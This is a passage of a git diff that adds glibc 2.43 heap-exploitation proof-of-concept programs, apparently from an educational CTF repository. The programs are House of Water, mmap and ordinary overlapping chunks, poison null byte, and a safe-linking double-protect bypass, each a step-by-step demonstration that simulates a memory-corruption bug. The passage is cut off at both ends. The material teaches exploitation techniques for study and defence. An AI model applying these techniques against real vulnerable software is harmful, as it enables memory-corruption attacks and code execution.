+ // proof that heap_ptr now points to the same string as target + assert((size_t) heap_ptr == target); + puts("Success! During the whole process, we didn't use the free() function."); +} diff --git a/glibc_2.43/house_of_water.c b/glibc_2.43/house_of_water.c new file mode 100644 index 0000000..ff83c80 --- /dev/null +++ b/glibc_2.43/house_of_water.c @@ -0,0 +1,330 @@ +#include +#include +#include + +/* + * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache + * metadata control primitive. + * + * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers. + * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin. + * An article explaining this newer variant and its differences from the original House of Water can be found at: + * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md + * + * The technique starts by allocating the 'relative chunk' immediately after tcache metadata, + * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location. + * + * Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size, + * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered. + * A large allocation sorts them into the same small bin linked list. + * + * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache. + * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache, + * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control. + * + * Technique / house by @udp_ctf - Water Paddler / Blue Water + * Small-bin variant modified by @4f3rg4n - CyberEGGs. + */ + + + +void dump_memory(void *addr, unsigned long count) { + for (unsigned int i = 0; i < count*16; i += 16) { + printf("0x%016lx\t\t0x%016lx 0x%016lx\n", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8)); + } +} + +int main(void) { + // Dummy variable + void *_ = NULL; + + // Prevent _IO_FILE from buffering in the heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 0 |"); + puts("\t=============================="); + puts("\n"); + + puts("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n"); + puts("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n"); + + // this heap fengshui will force the allocation of `tcache_perthread_struct` at offset 0x1f0, which is good for us + puts("Do free(malloc(0x1e0)) to force the misalignment of `tcache_perthread_struct`\n"); + free(malloc(0x1e0)); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 1 |"); + puts("\t=============================="); + puts("\n"); + + // Step 1: Create the unsorted bins linked list, used for hijacking at a later time + + puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents"); + puts("chunk-consolidation and sets our target for the house of water attack."); + puts("\t- chunks:"); + + void *relative_chunk = malloc(0x88); + printf("\t\t* relative_chunk\t@ %p\n", relative_chunk); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + void *small_start = malloc(0x88); + printf("\t\t* small_start\t@ %p\n", small_start); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + void *small_end = malloc(0x88); + printf("\t\t* small_end\t@ %p\n", small_end); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + puts(""); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 2 |"); + puts("\t=============================="); + puts("\n"); + + // Step 2: Fill up t-cache for 0x90 size class + + // This is just to make a pointer to the t-cache metadata for later. + void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x190; + printf("metadata: %p\n", metadata); + + // Make allocations to free such that we can exhaust the 0x90 t-cache + puts("Allocate 0x10 0x88 chunks needed to fill out the 0x90 t-cache at a later time"); + void *x[0x10]; + for (int i = 0; i < 0x10; i++) { + x[i] = malloc(0x88); + } + + puts(""); + + // Free t-cache entries + puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them."); + puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin"); + puts("instead of the t-cache or small-bins."); + for (int i = 0; i < 0x10; i++) { + free(x[i]); + } + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 3 |"); + puts("\t=============================="); + puts("\n"); + + // Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end. + // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata! + + puts("Here comes the trickiest part!\n"); + + puts("We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\n"); + puts("pointer and a pointer in the 0x320 t-cache to act as a BCK pointer."); + puts("We want it such that it points to the chunk header of our small bin entries,\n"); + puts("and not at the chunk itself which is common for t-cache.\n"); + + puts("Using a technique like house of botcake or a stronger arb-free primitive, free a"); + puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end."); + puts(""); + + puts("It should look like the following:"); + puts(""); + + puts("small_start:"); + printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8)); + dump_memory(small_start, 2); + puts(""); + + puts("small_end:"); + printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x310][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8)); + dump_memory(small_end, 2); + + puts("\n"); + puts("If you want to see a blind example using only double free, see the following chal: "); + puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki"); + puts(""); + puts("Note: See this if you want to see the same example but with the modified House of Water version: "); + puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md"); + puts("\n"); + + puts("For the sake of simplicity, let's just simulate an arbitrary free primitive."); + puts("\n"); + + + puts("--------------------"); + puts("| PART 1 |"); + puts("--------------------"); + puts("\n"); + + // Step 3 part 1: + puts("Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache."); + printf("\t*%p-0x18 = 0x321\n", small_start); + *(long*)(small_start-0x18) = 0x321; + puts(""); + + puts("This creates a 0x321 entry just above small_start, which looks like the following:"); + dump_memory(small_start-0x20, 3); + puts(""); + + printf("Free the faked 0x321 chunk @ %p\n", small_start-0x10); + free(small_start-0x10); // Create a fake FWD + puts(""); + + puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to"); + puts("restore the original header of the small_start chunk by restoring the 0x91 header:"); + printf("\t*%p-0x8 = 0x91\n", small_start); + *(long*)(small_start-0x8) = 0x91; + puts(""); + + puts("Now, let's do the same for small_end except using a 0x311 faked chunk."); + puts(""); + + + puts("--------------------"); + puts("| PART 2 |"); + puts("--------------------"); + puts("\n"); + + // Step 3 part 2: + puts("Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:"); + printf("\t*%p-0x18 = 0x311\n", small_end); + *(long*)(small_end-0x18) = 0x311; + puts(""); + + puts("This creates a 0x311 just above small_end, which looks like the following:"); + dump_memory(small_end-0x20, 3); + puts(""); + + printf("Free the faked 0x311 chunk @ %p\n", small_end-0x10); + free(small_end-0x10); // Create a fake BCK + puts(""); + + puts("restore the original header of the small_end chunk by restoring the 0x91 header:"); + printf("\t*%p-0x8 = 0x91\n", small_end); + *(long*)(small_end-0x8) = 0x91; + puts(""); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 4 |"); + puts("\t=============================="); + puts("\n"); + + // Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin, + // then allocate large chunk that will sort the unsorted bin into small bins. + + puts("Now, let's free the the chunks into the unsorted bin."); + + puts("\t> free(small_end);"); + free(small_end); + + puts("\t> free(relative_chunk);"); + free(relative_chunk); + + puts("\t> free(small_start);"); + free(small_start); + + puts("\n"); + + puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin."); + _ = malloc(0x700); + + puts(""); + + // Show the setup as is + + puts("At this point, our heap looks something like this:"); + + printf("\t- Small bin:\n"); + puts("\t\tsmall_start <--> relative_chunk <--> small_end"); + printf("\t\t%p <--> %p <--> %p\n", small_start-0x10, relative_chunk-0x10, small_end-0x10); + + printf("\t- 0x310 t-cache:\n"); + printf("\t\t* 0x%lx\n", *(long*)(metadata+0x310)); + printf("\t- 0x320 t-cache\n"); + printf("\t\t* 0x%lx\n", *(long*)(metadata+0x318)); + puts(""); + + puts("The fake chunk in the t-cache will look like the following:"); + dump_memory(metadata+0x370, 4); + puts(""); + + puts("We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to "); + puts("small_end, which is what we need to fake a small-bin entry and hijack relative_chunk."); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 5 |"); + puts("\t=============================="); + puts("\n"); + + // Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk + puts("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-"); + puts("and BCK pointer for small_end to point to the faked t-cache metadata chunk."); + puts(""); + + // Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90; + // As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk. + + /* VULNERABILITY */ + printf("\t- small_start:\n"); + void *metadata_page = (void*)((long)metadata & ~0xfff); + printf("\t\t*%p = %p\n", small_start, metadata_page+0x400); + *(unsigned long *)small_start = (unsigned long)(metadata_page+0x400); + puts(""); + + printf("\t- small_end:\n"); + printf("\t\t*%p = %p\n", small_end, metadata_page+0x400); + *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x400); + puts(""); + /* VULNERABILITY */ + + puts("At this point, the small bin will look like the following:"); + puts(""); + + puts("\t- small bin:"); + printf("\t\t small_start <--> metadata chunk <--> small_end\n"); + printf("\t\t %p\t %p %p\n", small_start, metadata+0x400, small_end); + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 6 |"); + puts("\t=============================="); + puts("\n"); + + // Step 6: allocate to win + puts("Now, simply just allocate our fake chunk which is placed inside the small bin"); + puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to"); + puts("service the allocation from the small bin."); + + for(int i = 0x10; i > 0; i--) + _ = malloc(0x88); + + // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin + _ = malloc(0x88); + _ = malloc(0x88); + + + // Next allocation *could* be our faked chunk! + void *meta_chunk = malloc(0x88); + + printf("\t\tNew chunk\t @ %p\n", meta_chunk); + printf("\t\tt-cache metadata @ %p\n", metadata); + assert(meta_chunk == (metadata+0x280)); + + puts(""); +} diff --git a/glibc_2.43/mmap_overlapping_chunks.c b/glibc_2.43/mmap_overlapping_chunks.c new file mode 100644 index 0000000..a21d6bd --- /dev/null +++ b/glibc_2.43/mmap_overlapping_chunks.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include + +/* +Technique should work on all versions of GLibC +Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` + +POC written by POC written by Maxwell Dulin (Strikeout) +*/ +int main() +{ + /* + A primer on Mmap chunks in GLibC + ================================== + In GLibC, there is a point where an allocation is so large that malloc + decides that we need a seperate section of memory for it, instead + of allocating it on the normal heap. This is determined by the mmap_threshold var. + Instead of the normal logic for getting a chunk, the system call *Mmap* is + used. This allocates a section of virtual memory and gives it back to the user. + + Similarly, the freeing process is going to be different. Instead + of a free chunk being given back to a bin or to the rest of the heap, + another syscall is used: *Munmap*. This takes in a pointer of a previously + allocated Mmap chunk and releases it back to the kernel. + + Mmap chunks have special bit set on the size metadata: the second bit. If this + bit is set, then the chunk was allocated as an Mmap chunk. + + Mmap chunks have a prev_size and a size. The *size* represents the current + size of the chunk. The *prev_size* of a chunk represents the left over space + from the size of the Mmap chunk (not the chunks directly belows size). + However, the fd and bk pointers are not used, as Mmap chunks do not go back + into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of + the chunk must be page-aligned. + + The POC below is essentially an overlapping chunk attack but on mmap chunks. + This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. + The main difference is that mmapped chunks have special properties and are + handled in different ways, creating different attack scenarios than normal + overlapping chunk attacks. There are other things that can be done, + such as munmapping system libraries, the heap itself and other things. + This is meant to be a simple proof of concept to demonstrate the general + way to perform an attack on an mmap chunk. + + For more information on mmap chunks in GLibC, read this post: + http://tukan.farm/2016/07/27/munmap-madness/ + */ + + int* ptr1 = malloc(0x10); + + printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); + printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); + printf("of memory, instead of being put onto the normal heap.\n"); + puts("=======================================================\n"); + printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); + + long long* top_ptr = malloc(0x100000); + printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr); + + // After this, all chunks are allocated downwards in memory towards the heap. + long long* mmap_chunk_2 = malloc(0x100000); + printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2); + + long long* mmap_chunk_3 = malloc(0x100000); + printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3); + + printf("\nCurrent System Memory Layout \n" \ +"================================================\n" \ +"running program\n" \ +"heap\n" \ +"....\n" \ +"third mmap chunk\n" \ +"second mmap chunk\n" \ +"LibC\n" \ +"....\n" \ +"ld\n" \ +"first mmap chunk\n" +"===============================================\n\n" \ +); + + printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); + printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]); + + printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); + printf("This will cause both chunks to be Munmapped and given back to the system\n"); + printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n"); + + // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. + // Additionally, this same attack can be used with the prev_size instead of the size. + mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2 + 0x10; + printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); + printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n"); + + /* + This next call to free is actually just going to call munmap on the pointer we are passing it. + The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845 + + With normal frees the data is still writable and readable (which creates a use after free on + the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this + data is read or written to, the program crashes. + + Because of this added restriction, the main goal is to get the memory back from the system + to have two pointers assigned to the same location. + */ + // Munmaps both the second and third pointers + free(mmap_chunk_3); + + /* + Would crash, if on the following: + mmap_chunk_2[0] = 0xdeadbeef; + This is because the memory would not be allocated to the current program. + */ + + /* + Allocate a very large chunk with malloc. This needs to be larger than + the previously freed chunk because the mmapthreshold has increased to 0x202000. + If the allocation is not larger than the size of the largest freed mmap + chunk then the allocation will happen in the normal section of heap memory. + */ + printf("Get a very large chunk from malloc to get mmapped chunk\n"); + printf("This should overlap over the previously munmapped/freed chunks\n"); + long long* overlapping_chunk = malloc(0x300000); + printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); + printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]); + + // Gets the distance between the two pointers. + int distance = mmap_chunk_2 - overlapping_chunk; + printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); + printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); + + // Set the value of the overlapped chunk. + printf("Setting the value of the overlapped chunk\n"); + overlapping_chunk[distance] = 0x1122334455667788; + + // Show that the pointer has been written to. + printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); + printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); + printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); + assert(mmap_chunk_2[0] == overlapping_chunk[distance]); + + _exit(0); // exit early just in case we corrupted some libraries +} diff --git a/glibc_2.43/overlapping_chunks.c b/glibc_2.43/overlapping_chunks.c new file mode 100644 index 0000000..79d2a80 --- /dev/null +++ b/glibc_2.43/overlapping_chunks.c @@ -0,0 +1,82 @@ +/* + + A simple tale of overlapping chunk. + This technique is taken from + http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf + +*/ + +#include +#include +#include +#include +#include + +int main(int argc , char* argv[]) +{ + setbuf(stdout, NULL); + + long *p1,*p2,*p3,*p4; + printf("\nThis is another simple chunks overlapping problem\n"); + printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" + "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" + "and the prev_size of it must match the unsortedbin's size\n" + "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); + + printf("Let's start to allocate 4 chunks on the heap\n"); + + p1 = malloc(0x80 - 8); + p2 = malloc(0x500 - 8); + p3 = malloc(0x80 - 8); + + printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); + + memset(p1, '1', 0x80 - 8); + memset(p2, '2', 0x500 - 8); + memset(p3, '3', 0x80 - 8); + + printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); + int evil_chunk_size = 0x581; + int evil_region_size = 0x580 - 8; + printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", + evil_chunk_size, evil_region_size); + + /* VULNERABILITY */ + *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 + /* VULNERABILITY */ + + printf("\nNow let's free the chunk p2\n"); + free(p2); + printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); + + printf("\nNow let's allocate another chunk with a size equal to the data\n" + "size of the chunk p2 injected size\n"); + printf("This malloc will be served from the previously freed chunk that\n" + "is parked in the unsorted bin which size has been modified by us\n"); + p4 = malloc(evil_region_size); + + printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); + printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); + printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); + + printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," + " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); + + printf("Let's run through an example. Right now, we have:\n"); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); + memset(p4, '4', evil_region_size); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); + memset(p3, '3', 80); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + assert(strstr((char *)p4, (char *)p3)); +} + + diff --git a/glibc_2.43/poison_null_byte.c b/glibc_2.43/poison_null_byte.c new file mode 100644 index 0000000..81b1cb7 --- /dev/null +++ b/glibc_2.43/poison_null_byte.c @@ -0,0 +1,164 @@ +#include +#include +#include +#include + +int main() +{ + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("Welcome to poison null byte!"); + puts("Tested in Ubuntu 20.04 64bit."); + puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte."); + + puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n"); + + // step0: force the allocation of tcache metadata to prevent it from messing with us + free(malloc(0x30)); + + // step1: allocate padding + puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"); + void *tmp = malloc(0x1); + void *heap_base = (void *)((long)tmp & (~0xfff)); + printf("heap address: %p\n", heap_base); + size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; + printf("Calculate padding chunk size: 0x%lx\n", size); + puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes."); + void *padding= malloc(size); + + // step2: allocate prev chunk and victim chunk + puts("\nStep2: allocate two chunks adjacent to each other."); + puts("Let's call the first one 'prev' and the second one 'victim'."); + void *prev = malloc(0x500); + void *victim = malloc(0x4f0); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + printf("prev chunk: malloc(0x500) = %p\n", prev); + printf("victim chunk: malloc(0x4f0) = %p\n", victim); + + // step3: link prev into largebin + puts("\nStep3: Link prev into largebin"); + puts("This step is necessary for us to forge a fake chunk later"); + puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk"); + puts("allocate a chunk 'a' with size a little bit smaller than prev's"); + void *a = malloc(0x4f0); + printf("a: malloc(0x4f0) = %p\n", a); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + puts("allocate a chunk 'b' with size a little bit larger than prev's"); + void *b = malloc(0x510); + printf("b: malloc(0x510) = %p\n", b); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + + puts("\nCurrent Heap Layout\n" + " ... ...\n" + "padding\n" + " prev Chunk(addr=0x??0010, size=0x510)\n" + " victim Chunk(addr=0x??0520, size=0x500)\n" + " barrier Chunk(addr=0x??0a20, size=0x20)\n" + " a Chunk(addr=0x??0a40, size=0x500)\n" + " barrier Chunk(addr=0x??0f40, size=0x20)\n" + " b Chunk(addr=0x??0f60, size=0x520)\n" + " barrier Chunk(addr=0x??1480, size=0x20)\n"); + + puts("Now free a, b, prev"); + free(a); + free(b); + free(prev); + puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n"); + + puts("Allocate a huge chunk to enable sorting"); + malloc(0x1000); + puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n"); + + puts("This will add a, b and prev to largebin\nNow prev is in largebin"); + printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10); + printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10); + + // step4: allocate prev again to construct fake chunk + puts("\nStep4: Allocate prev again to construct the fake chunk"); + puts("Since large chunk is sorted by size and a's size is smaller than prev's,"); + puts("we can allocate 0x500 as before to take prev out"); + void *prev2 = malloc(0x500); + printf("prev2: malloc(0x500) = %p\n", prev2); + puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b"); + assert(prev == prev2); + + puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10"); + puts("So set its size to 0x501 (0x510-0x10 | flag)"); + ((long *)prev)[1] = 0x501; + puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check"); + *(long *)(prev + 0x500) = 0x500; + printf("The fake chunk should be at: %p\n", prev + 0x10); + puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk"); + puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b"); + + // step5: bypass unlinking + puts("\nStep5: Manipulate residual pointers to bypass unlinking later."); + puts("Take b out first by allocating 0x510"); + void *b2 = malloc(0x510); + printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10); + printf("We can overwrite the least significant two bytes to make it our fake chunk.\n" + "If the lowest 2nd byte is not \\x00, we need to guess what to write now\n"); + ((char*)b2)[0] = '\x10'; + ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk + printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]); + + puts("To do the same to a, we can move it to unsorted bin first" + "by taking it out from largebin and free it into unsortedbin"); + void *a2 = malloc(0x4f0); + free(a2); + puts("Now free victim into unsortedbin so that a->bck points to victim"); + free(victim); + printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim); + puts("Again, we take a out and overwrite a->bck to fake chunk"); + void *a3 = malloc(0x4f0); + ((char*)a3)[8] = '\x10'; + ((char*)a3)[9] = '\x00'; + printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]); + // pass unlink_chunk in malloc.c: + // mchunkptr fd = p->fd; + // mchunkptr bk = p->bk; + // if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) + // malloc_printerr ("corrupted double-linked list"); + puts("And we have:\n" + "fake_chunk->fd->bk == a->bk == fake_chunk\n" + "fake_chunk->bk->fd == b->fd == fake_chunk\n" + ); + + // step6: add fake chunk into unsorted bin by off-by-null + puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin"); + puts("Take victim out from unsortedbin"); + void *victim2 = malloc(0x4f0); + printf("%p\n", victim2); + puts("off-by-null into the size of vicim"); + /* VULNERABILITY */ + ((char *)victim2)[-8] = '\x00'; + /* VULNERABILITY */ + + puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n" + "It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n" + "add the merged chunk into unsortedbin." + ); + printf("For our fake chunk, because of what we did in step4,\n" + "now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n" + "so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev); + free(victim); + puts("After freeing the victim, the new merged chunk is added to unsorted bin" + "And it is overlapped with the prev chunk"); + + // step7: validate the chunk overlapping + puts("Now let's validate the chunk overlapping"); + void *merged = malloc(0x100); + printf("merged: malloc(0x100) = %p\n", merged); + memset(merged, 'A', 0x80); + printf("Now merged's content: %s\n", (char *)merged); + + puts("Overwrite prev's content"); + memset(prev2, 'C', 0x80); + printf("merged's content has changed to: %s\n", (char *)merged); + + assert(strstr(merged, "CCCCCCCCC")); +} diff --git a/glibc_2.43/safe_link_double_protect.c b/glibc_2.43/safe_link_double_protect.c new file mode 100644 index 0000000..bccfe80 --- /dev/null +++ b/glibc_2.43/safe_link_double_protect.c @@ -0,0 +1,131 @@ +#include +#include +#include +#include + +/* + * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. + * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41 + * + * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will + * contain 4 bits of randomness. If you can increment integers, no brutefore is required. + * + * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. + * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache. + * + * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is + * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it + * would be XOR'd again with the same key, effectively reverting the protection. + * Thus, by simply protecting a pointer twice we effectively achieve the following: + * + * (ptr^key)^key = ptr + * + * The technique requires control over the t-cache metadata, so pairing it with a technique such as + * house of water might be favourable. + * + * Technique by @udp_ctf - Water Paddler / Blue Water + */ + +int main(void) { + // Prevent _IO_FILE from buffering in the heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + // Create the goal stack buffer + char goal[] = "Replace me!"; + puts("============================================================"); + printf("Our goal is to write to the stack variable @ %p\n", goal); + printf("String contains: %s\n", goal); + puts("============================================================"); + puts("\n"); + + // force the allocation of tcache_perthread_struct + free(malloc(0x60)); + + // Step 1: Allocate + puts("Allocate two chunks in two different t-caches:"); + + // Allocate two chunks of size 0x28 for 0x30 t-cache + puts("\t- 0x30 chunks:"); + void *a = malloc(0x28); + void *b = malloc(0x28); + printf("\t\t* Entry a @ %p\n", a); + printf("\t\t* Entry b @ %p\n", b); + + // Allocate two chunks of size 0x18 for 0x20 t-cache + void *c = malloc(0x18); + void *d = malloc(0x18); + puts("\t- 0x20 chunks:"); + printf("\t\t* Entry c @ %p\n", c); + printf("\t\t* Entry d @ %p\n", d); + puts(""); + + // Step 2: Write an arbitrary value (or note the offset to an exsisting value) + puts("Allocate a pointer which will contain a pointer to the stack variable:"); + + // Allocate a chunk and store a modified pointer to the 'goal' array. + void *value = malloc(0x28); + // make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur + *(long *)value = ((long)(goal) & ~(0xf)); + + printf("\t* Arbitrary value (0x%lx) written to %p\n", *(long*)value, value); + puts(""); + + // Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches + puts("Free the 0x30 and 0x20 chunks to populate the t-caches"); + + puts("\t- Free 0x30 chunks:"); + // Free the allocated 0x28 chunks to populate the 0x30 t-cache + free(a); + free(b); + printf("\t\t> 0x30 t-cache: [%p -> %p]\n", b, a); + + puts("\t- Free the 0x20 chunks"); + // Free the allocated 0x18 chunks to populate the 0x20 t-cache + free(c); + free(d); + printf("\t\t> 0x20 t-cache: [%p -> %p]\n", d, c); + puts(""); + + // Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability + puts("Modify the 0x30 t-cache pointer to point to the heap value that holds our arbitrary value, "); + puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:"); + + // Calculate the address of the t-cache metadata + void *metadata = (void *)((long)(value) & ~(0xfff)) + 0x70; + + // Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value + *(unsigned int*)(metadata+0xb0) = (((long)metadata >> 12) << 12)+((long)(value) & (0xfff)); + + printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12)); + puts(""); + + puts("Allocate once to make the protected pointer the current entry in the 0x40 bin:"); + void *_ = malloc(0x28); + printf("\t\t> 0x30 t-cache: [0x%lx]\n", *(unsigned long*)(metadata+0xb0)); + puts(""); + + /* VULNERABILITY */ + puts("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:"); + *(unsigned int*)(metadata+0xa8) = (long)(metadata)+0xb0; + printf("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n", (long)(metadata)+0xb0, 